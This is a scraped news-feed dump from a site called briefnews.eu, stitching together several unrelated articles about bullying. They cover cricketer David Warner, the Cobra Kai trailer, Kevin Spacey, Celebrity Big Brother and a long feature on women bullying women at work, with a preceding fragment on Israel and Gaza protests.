Friedman’s warning to journalists comes amid international condemnation of Israeli violence in response to the Palestinians’ ‘Great March of Return’ protests that have seen 119 Palestinians killed since the end of March. No Israelis were killed during the latest round of violence.

Israel’s use of deadly force during the protests has been slammed by a number of human rights organizations, including Amnesty International and UN groups. But Israel has defended using live rounds and tear gas against demonstrators as the only way to protect itself from attempts to breach the border barrier, and it claimed that dozens of those killed were members of Hamas, which Israel considers a terrorist organization.

Watch David Sheen’s full interview with RT below:

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]]> https://briefnews.eu/us-envoy-to-israel-trying-to-bully-and-gaslight-media-israeli-journalist-to-rt/feed/ 0 Warner: Bully, fool and … politician? https://briefnews.eu/warner-bully-fool-and-politician/ https://briefnews.eu/warner-bully-fool-and-politician/#respond Tue, 06 Mar 2018 02:07:01 +0000 http://briefnews.eu/warner-bully-fool-and-politician/ AFTER the past couple of days it seems as likely to succeed as Mal Meninga’s foray into politics, but David Warner has expressed interest in a move into the public service after cricket.

At the centre of a verbal stoush that has ignited the Test series between Australia and South Africa, Warner has a long and colourful history of altercations.

The latest furore, which included an ugly confrontation with South African keeper Quinten de Kock and saw Warner labelled a “fool” and a “bully” by past Proteas players, has led to calls for the 31-year-old to be dropped from the Australian team.

But on the eve of the Durban Test he told the Final Word podcast a childhood spent doing household chores and helping to pay the rent had instilled in him the value of looking out for those in need.

It’s why he led the fight in the recent players’ pay dispute with Cricket Australia, another process which whet his political appetite.

“I’ll probably have to get a home tutor for a couple of things, with my filter,” Warner said.

“Look it’s just one thing that has been embedded in me since a young age is that I grew up in a housing commission … As a kid, I had to do everything at home with my brother just because my parents worked all the time. So whether it was dishes, ironing — all the normal things you do at home. Once I was able to go and work, I went and worked because we needed that money coming in to pay the bills. Me and my brother both paid a bit of rent when we were younger and I just liked looking out for anyone who was close to me.

“During the pay dispute, it was a tough situation, you had your employers who were going up against our union and the players. So, I thought I needed to have a stance somewhere because at the end of the day, I want to play cricket for my country but for us to get a result or something in the middle — a happy medium — we had to fight for that. I am a believer in what I believe in. So, that was our belief. I sit back now and go, ‘I probably regret how the situation was played out in the media.’ And we do as players.

“But, if you believe in something you are going to have to fight for it and I wasn’t going to stand down because we needed someone out there to speak about it. You can sit back and do what you like but you don’t get anywhere unless someone speaks up and does something.”

Back to your question about after cricket, I wouldn’t mind doing something. But to that extent? I think I might keep my mouth shut a little bit.”

Despite often finding himself in trouble, Warner has made a habit of proving people wrong during his career.

He triumphed over attempts to pigeonhole him as a limited overs specialist after he debuted for the Australian T20 before even playing a first-class match for NSW.

He also recovered from being dropped from the Australian ODI side after infamously punching English batsman Joe Root at a Birmingham pub in 2013 to be named Steve Smith’s vice-captain.

His growing stature in the team also saw him take the reins of the T20 team in a recent tri-series against New Zealand and England that was extremely successful.

But a politician? Maybe ask Mal first.

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]]> https://briefnews.eu/warner-bully-fool-and-politician/feed/ 0 A former bully who went back to high school as an adult realized bullying isn’t the same problem it used to be — it’s worse https://briefnews.eu/a-former-bully-who-went-back-to-high-school-as-an-adult-realized-bullying-isnt-the-same-problem-it-used-to-be-its-worse/ https://briefnews.eu/a-former-bully-who-went-back-to-high-school-as-an-adult-realized-bullying-isnt-the-same-problem-it-used-to-be-its-worse/#respond Tue, 20 Feb 2018 19:48:20 +0000 http://briefnews.eu/a-former-bully-who-went-back-to-high-school-as-an-adult-realized-bullying-isnt-the-same-problem-it-used-to-be-its-worse/ undercover high erinA&E

  • Seven young adults posed as high school students for a semester on the A&E show “Undercover High.”
  • One of the undercover students, a 26-year-old former bully, described how bullying has changed since she graduated.
  • Social media has made the problem a lot worse, she said.

One of the toughest parts of a teenager’s high-school experience is dealing with bullies.

And although many parents have memories of getting picked on, that’s nothing compared to what students are facing today.

See the rest of the story at Business Insider

NOW WATCH: An Alabama high school ‘resegregated’ after years of being a model of integration — here’s what happened after

See Also:

SEE ALSO: Adults who went undercover at a high school found 7 things people don’t realize about life for teenagers today

SEE ALSO: Teenagers are more depressed than ever — and 7 adults who went undercover as high-school students almost immediately realized why

]]> https://briefnews.eu/a-former-bully-who-went-back-to-high-school-as-an-adult-realized-bullying-isnt-the-same-problem-it-used-to-be-its-worse/feed/ 0 ‘Cobra Kai’ Teaser Trailer Reunites ‘The Karate Kid’ with His High School Bully https://briefnews.eu/cobra-kai-teaser-trailer-reunites-the-karate-kid-with-his-high-school-bully/ https://briefnews.eu/cobra-kai-teaser-trailer-reunites-the-karate-kid-with-his-high-school-bully/#respond Thu, 15 Feb 2018 18:58:58 +0000 http://briefnews.eu/cobra-kai-teaser-trailer-reunites-the-karate-kid-with-his-high-school-bully/ Cobra Kai Teaser Trailer

At the end of last summer, we learned YouTube Red had picked up a new series called Cobra Kai that would see Ralph Macchio and William Zabka reprising their famous roles as Daniel LaRusso and Johnny Lawrence from The Karate Kid. Now we finally have our first look at the show.

Cobra Kai takes place in present day, where the former karate championship opponents are now adults struggling to find balance in their lives. In the first Cobra Kai teaser trailer, Johnny (Zabka) reopens the Cobra Kai dojo in a last ditch effort to make something of himself. This inevitably leads to a confrontation with Daniel (Macchio) and the return of the old rivalry between them.

Watch the Cobra Kai Teaser Trailer

This has a much more serious tone than I was expecting, but that’s not surprising since YouTube Global Head of Original Content Susanne Daniels told us earlier this year that it was more of a dramedy. At the time, she said, “I think it leans into the tone of the movies in that there are dramatic moments throughout. I think it’s very faithful really in some ways to what the movie set about doing, the lessons imparted in the movie if you will. It’s next generation Karate Kid.”

What Is Cobra Kai About?

Not too long ago, we found out that the series finds Johnny as a septic tank cleaner whose life has become rather depressing, so much that he’s even mistaken for a homeless person. We’re not sure how a guy like that has the money or resources to reopen a karate dojo, but we’ll go along for the ride.

According to Entertainment Weekly, Johnny has a son named Robby (Tanner Buchanan) who is determined to prove himself to be nothing like his father, which probably doesn’t feel all that great. That’s likely why he takes a bullied convenience store clerk named Miguel (Xolo Maridueña) under his wing. Meanwhile, Ed Asner plays Johnny’s step-father Sid Weinberg.

As for Daniel’s family, Courtney Henggeler (Mom) will play his wife and business partner Amanda, and Mary Mouser (Freakish) plays their daughter, Samantha, who is described as a firecracker.

For some reason, the reopening of the Cobra Kai dojo doesn’t sit well with Daniel, even if Johnny is using it to help a bullied kid. Maybe Daniel’s seemingly perfect life as a car salesman with a family isn’t as perfect as it seems. As you can see in the trailer above, Daniel and Johnny are at odds, but they will likely end up working together as some new bullies come into the picture: a wrestler named Kyler and his thug brothers who see karate as a joke.

Honestly, this series looks better than I anticipated, though admittedly this is a pretty short teaser. However, from the quick footage glimpsed in it, there might be some interesting angles to explore in the series. In fact, it looks like there’s flashback to when Johnny first discovered the Cobra Kai dojo. Origin stories be damned – maybe it will provide some redemption for The Karate Kid bully.

Josh Heald (Hot Tub Time Machine) wrote Cobra Kai with Harold & Kumar franchise creators Jon Hurwitz and Hayden Schlossberg and they’re all executive producing the series with Susan Ekins, Will Smith, James Lassiter, and Caleeb Pinkett.

Cobra Kai debuts on YouTube Red sometime this year, but there’s no release date yet.

The post ‘Cobra Kai’ Teaser Trailer Reunites ‘The Karate Kid’ with His High School Bully appeared first on /Film.

]]> https://briefnews.eu/cobra-kai-teaser-trailer-reunites-the-karate-kid-with-his-high-school-bully/feed/ 0 'Kevin Spacey's career is OVER' as Babydriver co-star says he was a BULLY on set https://briefnews.eu/kevin-spaceys-career-is-over-as-babydriver-co-star-says-he-was-a-bully-on-set/ https://briefnews.eu/kevin-spaceys-career-is-over-as-babydriver-co-star-says-he-was-a-bully-on-set/#respond Sat, 11 Nov 2017 18:37:30 +0000 http://briefnews.eu/kevin-spaceys-career-is-over-as-babydriver-co-star-says-he-was-a-bully-on-set/

Can Kevin Spacey ever work in Hollywood again?

The makers of his hit TV show House of Cards are discussing killing off his character while Ridley Scott has cut him from the upcoming movie All The Money In The World.

Just weeks before the film’s release, Spacey’s scenes as J Paul Getty have been reshot with Christopher Plummer.

Now Breakng Bad star Bryan Cranston says: “He’s a phenomenal actor, but he’s not a very good person. His career now I think is over.”

Cranston told the BBC: “That sort of experience goes unchecked until something like this happens. The pillars of what was are falling. Everything is being exposed.”

Spacey has been hit with a successions of allegations of sexual misconduct stretching back over his long and illustrious career. Fellow actor Anthony Rapp was the first to come forward, detailing disturbing scenes that happened when he was just 14 yeears old.

It’s not just the shocking allegations of what happened behind closed doors, the star is also under fire for his behaviour towards his co-stars on set.

Spacey’s Baby Driver co-star Jon Bernthal has accused him of being ‘a bully’.

Bernthal said: “Going on to that set and working with him, I wasn’t there much, but when I was there, he really rubbed me the wrong way. I thought he was a bit of a bully.

“I didn’t really care for the way he was behaving toward some of the other people on set.”

Spacey is now a subject of an investigation by the Metropolitan Police.

His behaviour is being seen as a symbol of endemic “animalistic” power abuses that have taken place in Hollywood, not just for the sexual harrassment and preying on young and vulnerable men and women in the industry.

Bernthal added: “I remember at the time thinking, ‘Man, if that was a woman that he was talking to, I would’ve done something, I would’ve said something. I was really happy to sort of get out of there for that reason, and I just remember losing a ton of respect for him.”

“I think it would be weak of me to sort of pile on about some sh** that I don’t know about. But the kind of man he was when I saw him, working with him, made me lose all respect for him and I was enormously disappointed.”

It seems uinimaginable that Spacey will ever be able to work in the industry again.

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Daily Express :: Entertainment Feed

]]> https://briefnews.eu/kevin-spaceys-career-is-over-as-babydriver-co-star-says-he-was-a-bully-on-set/feed/ 0 Celebrity Big Brother 2017: Fans RAGE at ‘BULLY’ Paul Danan amid Sarah Harding rant https://briefnews.eu/celebrity-big-brother-2017-fans-rage-at-bully-paul-danan-amid-sarah-harding-rant/ https://briefnews.eu/celebrity-big-brother-2017-fans-rage-at-bully-paul-danan-amid-sarah-harding-rant/#respond Fri, 11 Aug 2017 04:52:15 +0000 http://briefnews.eu/celebrity-big-brother-2017-fans-rage-at-bully-paul-danan-amid-sarah-harding-rant/

People took to social media in their droves to slam the two housemates for arguing with Sarah, 35, following the latest instalment of the Channel 5 reality series.

One person posted on Twitter: “I don’t like to throw the word ‘bully’ about but Sarah is 100% being bullied and WHY is no one saying anything about it!? #CBB.”

While a second wrote: “#CBB #CBBJemma Is a #bully more #celebrity rehab this year. #CBBSarah is being victimised . I am not a fan but leave her alone. Jemma out!”

“Paul is nothing but a bully, fucking playing mind games and every f**ker is scared of him! #CBB,,” said a third.

Another tweeted: “Sorry but Paul is a bully. #CBB. Think he’s behaved absolutely disgustingly.”

The fierce vitriol aimed at the 39-year-old ex-Hollyoaks actor comes after he exploded at Sarah in an angry tirade, forcing his fellow housemates to restrain him.

He appeared to be incandescent with rage as he shouted at her for apparently suggesting he had taken “a pill”.

However, after speaking to Big Brother in the Diary Room, he quickly realised that he had acted out of order.

Paul returned to the smoking area to apologise to Sarah for his bad behaviour as he attempted to bury the hatchet.

The latest exchange comes after Jemma and Sarah got into a foul-mouthed slanging match yesterday.

During the episode, nominations for this week’s eviction were revealed with Chad Johnson, Karthik Nagesan, Sarah and Trisha Paytas facing the boot.

Celebrity Big Brother continues on Channel 5 tomorrow at 9pm.

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]]> https://briefnews.eu/celebrity-big-brother-2017-fans-rage-at-bully-paul-danan-amid-sarah-harding-rant/feed/ 0 Why Do Women Bully Each Other at Work? https://briefnews.eu/why-do-women-bully-each-other-at-work/ https://briefnews.eu/why-do-women-bully-each-other-at-work/#respond Thu, 03 Aug 2017 07:29:44 +0000 http://briefnews.eu/why-do-women-bully-each-other-at-work/ The bitches, as Shannon saw it, came in three varieties. She categorized them on her personal blog, in a post titled “Beware the Female BigLaw Partner.”

First was the “aggressive bitch”—a certain kind of high-ranking woman at the firm where she worked who didn’t think twice about “verbally assaulting anyone.” When one such partner’s name appeared on caller ID, Shannon told me, “we would just freak out.”

Next was the two-faced “passive-aggressive bitch,” whose “subtle, semi-rude emails” hinted that “you really shouldn’t leave before 6:30.” She was arguably worse than the aggressive bitch, because you might never know where you stand.

Last but not least, the “tuned-out, indifferent bitch,” Shannon wrote, “is so busy, both with work and family, that they don’t have time for anything … This partner is not trying to be mean, but hey, they got assignments at midnight when they were associates. So you will too.

“There obviously are exceptions,” she added. “But there aren’t many.”

Listen to the audio version of this article:Feature stories, read aloud: download the Audm app for your iPhone.

You would expect someone like Shannon, who asked that I use only her first name, to thrive in an elite law firm. When she graduated in the mid-2000s from the University of Pennsylvania Law School—having helped edit the constitutional-law journal and interned for a district-court judge—she had her pick of job offers. She knew that by going to a big firm she was signing on for punishing hours, but she had six-figure student loans to pay off and hoped her outgoing personality would win over bosses and potential mentors.

It didn’t quite work out that way.

The firm’s pace was as frenzied as she’d feared. Partners would assign projects late in the day, she said, sometimes forcing associates to work through the night only to announce in the morning that the assignment wasn’t needed after all. When Shannon wanted to leave at the early hour of 7 p.m., she would sneak out of her office, creep past the elevators, and take the stairs down to evade her bosses. She took up smoking to deal with the stress.

Early on, Shannon noticed a striking dynamic. Though her law-school class had been roughly split between the genders, the firm had very few female partners. This wasn’t unusual: At the time, just 17 percent of all law partners in the country were women, and they’ve only notched up a few percentage points since then. And, at least at her firm, no one seemed to like the handful of female partners. “They were known as bitchy, bossy, didn’t want to hear excuses,” Shannon told me.

She once spotted a female partner screaming at the employees at a taxi stand because the cars weren’t coming fast enough. Another would praise Shannon to her face, then dispatch a senior associate to tell her she was working too slowly. One time, Shannon emailed a female partner—one of the passive-aggressive variety—saying, “Attached is a revised list of issues and documents we need from the client. Let me know of anything I may have left off.”

“Here’s another example” of you not being confident, the partner responded, according to Shannon. “The ‘I may have left off’ language is not as much being solicitous of my ideas as it is suggesting a lack of confidence in the completeness of your list.”

Shannon admits that she can be a little sensitive, but she wasn’t the only one who noticed. “Almost every girl cried at some point,” she says. Some of the male partners could be curt, she said, but others were nice. Almost all of the female partners, on the other hand, were very tough.

Still, the senior women’s behavior made sense to her. They were slavishly devoted to their jobs, regularly working until nine or 10 at night. Making partner meant either not having children or hiring both day- and nighttime nannies to care for them. “There’s hostility among the women who have made it,” she said. “It’s like, ‘I gave this up. You’re going to have to give it up too.’ ”

After 16 months, Shannon decided she’d had enough. She left for a firm with gentler hours, and later took time off to be with her young children. She now says that if she were to return to a big firm, she’d be wary of working for a woman. A woman would judge her for stepping back from the workforce, she thinks: “Women seem to cut down women.”

Her screed against the female partners surprised me, since people don’t usually rail against historically marginalized groups on the record. When I reached out to other women to ask whether they’d had similar experiences, some were appalled by the question, as though I were Phyllis Schlafly calling from beyond the grave. But then they would say things like “Well, there was this one time …” and tales of female sabotage would spill forth. As I went about my dozens of interviews, I began to feel like a priest to whom women were confessing their sins against feminism.

Their stories formed a pattern of wanton meanness. Serena Palumbo, another lawyer, told me about the time she went home to Italy to renew her visa and returned to find that a female co-worker had told their boss “that my performance had been lackluster and that I was not focused.” Katrin Park, a communications director, told me that a female former manager reacted to a minor infraction by screaming, “How can I work when you’re so incompetent?!” A friend of mine, whom I’ll call Catherine, had a boss whose tone grew witheringly harsh just a few months into her job at a nonprofit. “This is a perfect example of how you run forward thoughtlessly, with no regard to anything I am saying,” the woman said in one email, before exploding at Catherine in all caps. Many women told me that men had undermined them as well, but it somehow felt different—worse—when it happened at the hands of a woman, a supposed ally.

Even a woman who had given my own career a boost joined the chorus. Susannah Breslin, a writer based in Florida, yanked me out of obscurity years ago by promoting my work on her blog. So I was a bit stunned when, for this story, she told me that she divides her past female managers into “Dragon Ladies” and “Softies Who Nice Their Way Upwards.” She’d rather work for men because, she says, they’re more forthright. “With women, I’m partly being judged on my abilities and partly being judged on whether or not I’m ‘a friend,’ or ‘nice,’ or ‘fun,’ ” she told me. “That’s some playground BS.”

Other women I interviewed, meanwhile, admitted that they had been tempted to snatch the Aeron chair out from under a female colleague. At a women’s networking happy hour, I met Abigail, a young financial controller at a consulting company who once caught herself resenting a co-worker for taking six weeks of maternity leave. “I consider myself very pro-woman and feminist,” Abigail said. Nevertheless, she confessed, “if I wasn’t so mindful of my reaction, I could have been like, ‘Maybe we should try to find a way to fire her.’ ”

Of course, these are just anecdotes. I also heard positive stories about female co-workers, including from prominent women in fields like foreign policy and journalism who described how other women had mentored them or acted as unofficial support groups. (I’ve been fortunate to have both of those experiences myself.) What’s more, research suggests that women actually make better managers than men, by certain measures.

Yet, fairly or not, many women seem to share Shannon’s fear that members of their gender tend to cut one another down. Large surveys by Pew and Gallup as well as several academic studies show that when women have a preference as to the gender of their bosses and colleagues, that preference is largely for men. A 2009 study published in the journal Gender in Management found, for example, that although women believe other women make good managers, “the female workers did not actually want to work for them.” The longer a woman had been in the workforce, the less likely she was to want a female boss.

In 2011, Kim Elsesser, a lecturer at UCLA, analyzed responses from more than 60,000 people and found that women—even those who were managers themselves—were more likely to want a male boss than a female one. The participants explained that female bosses are “emotional,” “catty,” or “bitchy.” (Men preferred male bosses too, but by a smaller margin than the female participants did.)

In a smaller survey of 142 law-firm secretaries—nearly all of whom were women—not one said she or he preferred working for a female partner, and only 3 percent indicated that they liked reporting to a female associate. (Nearly half had no preference.) “I avoid working for women because [they are] such a pain in the ass!” one woman said. In yet another study, women who reported to a female boss had more symptoms of distress, such as trouble sleeping and headaches, than those who worked for a man.

Some people find these studies literally incredible. (When the ABA Journal published an article about the legal-secretary survey, angry readers demanded a retraction. The journal wrote a follow-up piece about the controversy and issued a mild apology for the hurt feelings.) And indeed, it is hard to believe that women would hold a fierce bias against members of their own gender. Perhaps in part because it’s such a thorny topic, this phenomenon tends to be either dismissed (nothing to see here) or written off as inevitable (women are inherently catty). But in fact, psychologists have been attempting to explain it for decades—and the sum of their findings suggests that women aren’t the villains of this story.

I wasn’t looking for bitchy behavior when I walked into an upscale restaurant on Pennsylvania Avenue in Washington, D.C., one night last fall, but it found me. I was there for a small get-together of female executives. Several of the women grimaced when I introduced myself as a journalist, so when I approached a cluster of them, I opened by saying that they didn’t have to be interviewed if they didn’t want to be.

At that, a middle-aged blonde in a leopard-print jacket looked at me and said, “When you go to your shrink, do you say, ‘Nobody likes me! Nobody wants to talk to me’?”

I blinked in disbelief, then asked her whether she had ever gotten pushback for her communication style.

The woman, Susan, said her brusqueness is actually an advantage at the financial-services firm where she works as an adviser, a very Mad Men–esque environment, as she described it. “I have a different way of communicating that’s more like a guy,” she said. “I played a lot of sports, and I expect us to knock around a bit and still be friends at the end of the game. Guys like me.”

The fratty environment doesn’t seem that great for other women in her office, though. Most of the financial advisers at her firm are men, but most of the assistants are women—a situation Susan called “a hotbed of badness.” “There’s a finite amount of space that these women get,” she said. “They’re in their little prison and they’re all eating each other up.”

As it turns out, researchers have competing theories as to why this happens—why women sometimes find themselves trapped and sniping at one another.

One psychologist, Joyce Benenson, thinks women are evolutionarily predestined not to collaborate with women they are not related to. Her research suggests that women and girls are less willing than men and boys to cooperate with lower-status individuals of the same gender; more likely to dissolve same-gender friendships; and more willing to socially exclude one another. She points to a similar pattern in apes. Male chimpanzees groom one another more than females do, and frequently work together to hunt or patrol borders. Female chimps are much less likely to form coalitions, and have even been spotted forcing themselves between a female rival and her mate in the throes of copulation.

Benenson believes that women undermine one another because they have always had to compete for mates and for resources for their offspring. Helping another woman might give that woman an edge in the hot-Neanderthal dating market, or might give her children an advantage over your own, so you frostily snub her. Women “can gather around smiling and laughing, exchanging polite, intimate, and even warm conversation, while simultaneously destroying one another’s careers,” Benenson told me. “The contrast is jarring.”

Perhaps not surprisingly, Benenson’s theory is controversial—so much so that she says she feels sidelined and “very isolated” in academia. She thinks that may be why she wound up teaching at a small Catholic institution—Emmanuel College, in Boston—instead of at a better-known university.

If Benenson is right, women would have to struggle mightily to repair their poisonous dynamic, since it is biologically ingrained. But many other researchers think women aren’t hardwired to behave this way. Instead, they argue, bitchiness is a by-product of the modern workplace.

In the late 1980s, Robin Ely, then a graduate student in the Yale School of Management, set about trying to understand why women’s office interactions sometimes turn toxic. “My most difficult relationship at work had been with a woman,” Ely told me, “but women had also given me the most amazing support.” She didn’t buy either of the prevailing stereotypes about women—that they are nurturing earth mothers or manipulative traitors. Instead, her hypothesis was simply that “women, like all human beings, respond to the situation they’re in.”

To test this idea, Ely cracked open a law-firm directory and picked some male-dominated firms, where no more than 5 percent of partners were female, and some other firms where women were slightly better represented in the top ranks. Then she asked the female lawyers at both types of firms how they felt about their female colleagues.

No matter where they were, the attorneys endured a grueling work environment. But in the overwhelmingly male firms, competition between women was “acute, troubling, and personal,” Ely said. Compared with the women in firms where they were better represented, women in the male-dominated settings thought less of one another and offered weak support, if any. Female partners in those firms were “almost universally reviled,” Ely said. One young lawyer described her boss as “a manipulative bitch who has no legal talent.”

Perhaps the most enduring takeaway was this: Women in the male-dominated firms believed that only so many of them would make it into the senior ranks, and that they were vying with one another for those spots. Ely, who is now a business professor at Harvard, had hit upon a dynamic known as tokenism. When there appear to be few opportunities for women, research shows, women begin to view their gender as an impediment; they avoid joining forces, and sometimes turn on one another.

Think of the “cool girl” who casually notes, “All my friends are guys”—as though it just naturally happened that way. Or the overachiever who saves her harshest feedback for her female colleagues, while the men in the office get sports talk and fist bumps. Women like Susan, the financial adviser I met in Washington, “get along with men better,” as she put it, because it pays to get along with whoever’s at the top.

Around the same time Ely conducted her tokenism study, a Dutch psychologist named Naomi Ellemers was working as an assistant professor in Amsterdam and trying to understand the near-total absence of senior women in academia. Women then made up just 4 percent of all full professors in the Netherlands. Ellemers thought perhaps biased men were keeping women from advancing.

Ellemers put together a list of all the female professors in the country and mailed them (as well as a sample of male professors) a survey about their relationships with their colleagues. Her findings suggested that women were actually part of the problem. The female professors described themselves as just as “aggressive” and “dominant” as the men did; they felt unsupported by their female colleagues, and didn’t want to work with other women.

Eleven years later, Ellemers surveyed doctoral students and university faculty members in Amsterdam and Italy and found similar results. Although the junior men and women were in fact equally committed to their work, the female professors thought the younger women were less dedicated. Ellemers called these senior women—who coped with gender discrimination by emphasizing how different they were from other women—“queen bees,” repurposing a term first coined in the 1970s by researchers at the University of Michigan.

After these studies were published, Ellemers was disheartened to read news articles trumpeting them as proof that women are nasty by nature. “Some journalists are very happy to make headlines that women are catty to each other,” she told me ruefully. She thought about giving up on this line of research, but a student of hers, Belle Derks, persuaded her to keep probing.

Along with some of their other colleagues, Ellemers and Derks conducted a small study in 2011 for which they asked 63 Dutch policewomen—who are far outnumbered by their male colleagues—to recall a time they had experienced sexism at work. That reminder prompted many of the officers to emphasize the ways they’re not like other women and to downplay the prevalence of sexism. In other words, thinking about how bad it is to be a woman made certain officers not want to be seen as women. And it wasn’t just something women did: In another small study, when Derks and other researchers prompted Surinamese immigrants in the Netherlands to recall an instance of discrimination against their group, many expressed lower opinions of one another and behaved more stereotypically Dutch.

With that, Ellemers and Derks believed they had pinpointed the conditions in which queen bees emerge: when women are a marginalized group in the workplace, have made big sacrifices for their career, or are already predisposed to show little “gender identification”—camaraderie with other women. (Think of former Yahoo chief Marissa Mayer’s quote about another of her old jobs: “I’m not really a woman at Google; I’m a geek at Google.”) Women like this, Ellemers says, “learned the hard way that the way to succeed in the workplace is to make sure that people realize they are not like other women. It’s not something about these women. It is the way they have learned to survive in the organization.”

It’s worth noting that some of Ellemers and Derks’s findings are not very robust. But other researchers have since published work that echoes theirs. Michelle Duguid, a Cornell University management professor, has explored something called “favoritism threat,” or women’s concern that they’ll seem biased if they help one another. In a working paper, Duguid showed that “token” women who had helped other women in the past avoided doing so again when given the chance. In a separate study, she found that token women in “high prestige” settings were more reluctant to recruit female candidates to join their team than were women who worked in less prestigious settings or had more female colleagues.

Paul Sahre

As Joan C. Williams, a distinguished professor at the UC Hastings College of the Law, put it to me: “Women are people. If the only way to get ahead is to run like hell away from other women, some women are going to do that.” And research suggests that this kind of distancing occurs in minority groups as well, which means these dynamics may be doubly hard on women of color, since they face both gender and racial bias.

Even levelheaded, feminist women can exhibit elements of queen-bee behavior at times, and they don’t have to be in senior positions. The biggest issue I heard about is what’s known as “competitive threat,” which is when a woman fears that a female newcomer will outshine her. She might try to undermine her rival preemptively—as happened to one woman I interviewed, whose work friend spread rumors that she was promiscuous and unqualified. Or she might slam her rival with demeaning comments, as has happened to seven in 10 respondents to a 2016 survey of women working in the tech industry. “I had two female colleagues who suggested I try to look ‘less pretty’ to be taken more seriously,” a respondent wrote. “One suggested a breast reduction.”

This kind of behavior can take a toll. My friend Catherine had always been the most unflappable and cheerful in our group, but about six months into her stint with a queen bee, she began feeling like “a terrified puddle of a human being,” she said. She felt sick to her stomach and had trouble eating her lunch at work. “Whenever the phone rang, my legs would shake,” she said. “Anytime we were on a call and her voice came on, I shuddered.”

About 15 years ago, Margarita Rozenfeld, who is now a leadership coach in Washington, D.C., found herself reporting to a queen bee. Rozenfeld’s boss was just in her early 30s, but her clothes and demeanor made her seem much older. She had high expectations for everyone on the team, including Rozenfeld, and she would grumble when her subordinates didn’t exhibit the same relentless ambition she had.

One day on her way to work, Rozenfeld tripped on the parking-garage steps and twisted her ankle. It swelled as the day wore on, and she worried that it would get even worse. She wasn’t particularly busy, so she knocked on her boss’s door and asked whether she could leave early to see a doctor. Her boss asked Rozenfeld to come in and close the door.

“You know, I had high hopes for you,” Rozenfeld remembers her saying. Her boss questioned why “you feel like you can leave” when “things like this happen.”

“But I feel like I’m not going to be able to walk,” Rozenfeld said.

“I will tell you something about my career and how I got to be where I am today,” her boss continued. “Do you know how many times I worked with men who basically sexually harassed me? Did you know that man over there missed his kid’s high-school graduation because he was working on a proposal? And you have a sprained ankle and you think it’s okay to leave?”

As tears welled in her eyes, Rozenfeld realized that she was never going to be the kind of worker her boss wanted. Six months later, she quit.

Complicating all of this is that, well, bitchiness is in the eye of the beholder, and the term queen bee sometimes gets flung at women who are just trying to do their job. You could call it managing while female: Many studies have shown that people—men and women alike—can’t tolerate so much as a hint of toughness coming from a woman, even when she’s in charge.

The most notorious double standard is that women can’t break into important jobs unless they advocate for themselves and command respect. But they’re also reviled unless they act like chipper and self-deprecating team players, forever passing the credit along to others. Laurie Rudman, a social psychologist at Rutgers University, said the “poster woman” for this predicament is Hillary Clinton, who, according to surveys, was more popular when in office than when she was vying for office. Writing in The Boston Globe last summer, former Vermont Governor Madeleine May Kunin noted the dramatically lower behavior bar set for Donald Trump than for Clinton: “ ‘Boys will be boys,’ but girls must be goddesses.”

Rudman first witnessed this tendency when she was a grad student at the University of Minnesota, where she sat on a hiring committee for an open professor position. The female candidates touted their records by saying things like “I’m so fortunate I found so-and-so for my mentor,” Rudman told me. One male candidate, meanwhile, waltzed in, folded his arms, and declared, “I’m going to change the face of psychology within the next five years.” The committee picked the man.

“It’s very difficult for women to ask for power,” Rudman said. “If you stick your neck out and say ‘I’d like to be considered for this promotion,’ somebody’s revving up a chain saw in the background.”

After Rudman earned her doctorate, she began researching why women can’t get away with behaving the way men do. Her work helps explain why male bosses can be frank, while female managers are stuck serving up compliment sandwiches to soften their criticism. In one of her experiments, women who doled out honest feedback were liked less and considered less hirable than similarly candid men. Other academics have argued that workers just don’t respect female bosses as much as male ones—which prompts the bosses to treat the workers worse, which causes the workers to think less of their bosses, and so forth.

Rudman found that some women’s disparagement of other women can be explained by what’s called “system justification,” a psychological concept in which long-oppressed groups, struggling to make sense of an unfair world, internalize negative stereotypes. Women simply don’t have the same status in American life that men do. So when people think, Who do I want to work with?, they subconsciously leap to the default, the historically revered—the man. Some women look around, see few women running things, and assume that there must be something wrong with women themselves.

Indeed, Kim Elsesser, the UCLA lecturer whose study unearthed a preference for male bosses, pointed out another interesting wrinkle in that study: Participants were biased against women only when they were asked about the gender they preferred to work for in general. “When participants were asked about their current bosses, the bias disappeared,” Elsesser said.

When women do slip outside the lines and behave assertively, other women are sometimes the ones who blast them for it. In one series of studies, Rudman asked participants to pick teammates for a round of computerized Jeopardy. They could choose among insecure and confident men and women. A cash prize was offered, so it behooved the participants to pick someone competent. But while the confident contestants of both genders were seen as more capable than the insecure ones, the female participants were nonetheless torn between the insecure woman and the confident one.

Rudman says that in general, research shows men are more biased against women at work than women themselves are. But in this case at least, the male participants didn’t hesitate to pick the confident woman over the insecure one, and had no preference between the confident man and the confident woman. Not a single female participant, on the other hand, chose the confident woman over the confident man. “I could not believe it!,” Rudman exclaimed, letting out a long “Wooooow.”

She saw this as a sign of what psychologists call the black-sheep effect, in which people are harder on rule-breaking members of their own group than they are on the deviants of other tribes. As Rudman told me this, I played a mental highlight reel of the various times in my life when a man had completely dropped the ball on a team project, and I’d excused him as either a nutty professor or a devilish rogue who couldn’t be bothered with tedious details. He was the mischievous Peter Pan to my businesslike Wendy: I’ll handle it myself, you scamp! If a woman behaved this way, though, I’d be more likely to draft a dozen never-sent emails asking her what her problem was.

Some writers and researchers argue that true queen bees are extremely rare, and that the concept has been co-opted by misogynists to show how awful women supposedly are. Even Carol Tavris, one of the social psychologists credited with coining the term queen bee, has been quoted rejecting the concept. “I hate it,” she told the Today show in 2013.

In 1974, Tavris had published an article in Psychology Today in which she and two colleagues, Graham Staines and Toby Epstein Jayaratne, wrote:

There is a group of antifeminist women who exemplify what we call the Queen Bee syndrome … The true Queen Bee has made it in the “man’s world” of work, while running a house and family with her left hand. “If I can do it without a whole movement to help me,” runs her attitude, “so can all those other women.”

When I called her at her home in Los Angeles, Tavris said that her theory had since been misinterpreted, carved into a cudgel for bashing women. If women are their own worst enemies, after all, why should people push for women’s workplace advancement? She regrets that giving “a catchy name” to a complex pattern of behavior helped launch queen-bee-ism as “a thing”—one that has endured despite all the gains working women have made since the 1970s. After publishing that paper, she moved on to examine other topics in psychology.

I could understand why Tavris would want to distance herself from this research—who wants to throw more chum to the internet’s sexist trolls? And given the complexity of the queen-bee phenomenon, its prevalence is impossible to determine. Still, queen bees are clearly a real thing, and ignoring the problem won’t make it go away. Maybe by understanding its causes, we can finally start to address them.

The key point to remember, according to Naomi Ellemers and other researchers, is that queen-bee behavior arises under certain circumstances—like when a woman believes that the path to success is so narrow, she can barely squeeze through herself, let alone try to bring others along with her.

